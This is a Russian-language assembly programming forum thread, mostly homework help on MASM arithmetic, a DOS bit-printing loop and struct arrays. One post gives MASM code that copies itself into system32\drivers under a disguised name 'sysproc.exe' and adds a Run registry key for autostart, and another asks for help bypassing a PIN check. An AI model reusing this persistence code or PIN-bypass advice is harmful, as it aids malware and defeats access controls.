Здравствуйте уважаемые! Для данного выражения нужно написать код, кто может помочь? (2*c + a-21) / (c/a*b+1); include.irvine32.inc .data .......... ..........
Code: .386 .model flat, stdcall locals .DATA a dd 1 b dd 2 c dd 3 .CODE start: mov eax, c mov ecx, a lea ecx, dword ptr [ecx+eax*2-21] ; (2*c + a-21) ;(c/a*b+1) cdq idiv a ; c/a mov esi, eax imul esi, b ;*b inc esi ;+1 mov eax, ecx cdq idiv esi ret end start попробуй так, может даже правильно будет, не знаю.
Ищу Декомпайлер для простых програм которые были написаны в С. Програмы были написаны и склеены с помощью 64 битного gcc. Обычные декомпайлеры (бумеранг, ИДА и т.д. 64битные фаелы не поддерживат).
Code: ;Вывести номера байта содержащие 1 DOSSEG .MODEL SMALL .STACK 100h .DATA .CODE mov ax,@data mov ds,ax ; Ввод байта с клавиатуры ; Байт велся в регистр al mov ah,1 int 21h ;Цикл mov cx,8 L1: sal al,1 jnc L2 ;Вывод на экран содержимого al mov dl,cl add dl,30h mov ah,6 int 21h L2: loop L1 ;(конец цыкла) mov ah,4ch int 21h END собственно что тут неправильно???
Выручайте, вот кусок кода на Asm нужно обойти ввод пинкода, как я понял тут и проходит авторизация...или может быть тут можно уловить пинкод? +++ за умные мысли
ну хочешь пин код поймать,смотри куда в последний раз записывается я думаю это не проблематично если код твой,потому что кол-во комментариев всей картины явно не открывает тем более часть кода. на каком то ведь этапе пин код всё равно вылазит.
Могу скинуть весь код в личку для оценки, я вообще в Asm не шарю, был бы рад помощи. Кидать? Глянешь?
Masm32 массивы Вопрос по masm32. Есть массив состоящий из структур SHARE_INFO_2 struct shi2_netname dd ? shi2_type dd ? shi2_remark dd ? shi2_permissions dd ? shi2_max_uses dd ? shi2_current_uses dd ? shi2_path dd ? shi2_passwd dd ? SHARE_INFO_2 ends обьявлен так: buf SHARE_INFO_2 100 dup(<>) Функция заполняет его и выдает количество записей tr Как выбирать значения в цикле? Скажем buf.shi2_permissions Mov ecx,tr Loopz: push ecx ??????????? pop ecx Loop Loopz
Скопировать свое тело в каталог и добавится в автозагрузку Собственно задача в сабже, вот код на ASM'е Code: .386 .model flat, stdcall option casemap :none ;modules include \masm32\include\windows.inc include \masm32\include\kernel32.inc include \masm32\include\user32.inc ;libs includelib \masm32\lib\kernel32.lib includelib \masm32\lib\wininet.lib includelib \masm32\lib\user32.lib .data lpCmdLine BYTE "C:\WINDOWS\system32\cmd.exe /c reg ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v sysproc /t REG_SZ /d C:\WINDOWS\system32\drivers\sysproc.exe /f",0 saveadr db "C:\WINDOWS\system32\drivers\sysproc.exe",0 .data? buf db 1024 dup (?) .code Main proc invoke WinExec,offset lpCmdLine,1 invoke GetModuleHandle, NULL invoke GetModuleFileName, eax, addr buf, SIZEOF buf invoke CopyFile, addr buf, addr saveadr, TRUE invoke ExitProcess,0 Main endp end Main Строку в реестре он создает, но вот с копированием самого себя в "C:\WINDOWS\system32\drivers\sysproc.exe" косяк...
Ребята, помогите решить этот пример. Что здесь нужно сделать? b/a, если a>b; 22, если a=b; a-9, если a<b;
это я хочу спросить ,что здесь надо сделать? Введи а и b. смотри, если а больше, то дели, если равно, то 22 (присвой или выведи как результат), если меньше, то вычти из а девяточку. Что сложного-то?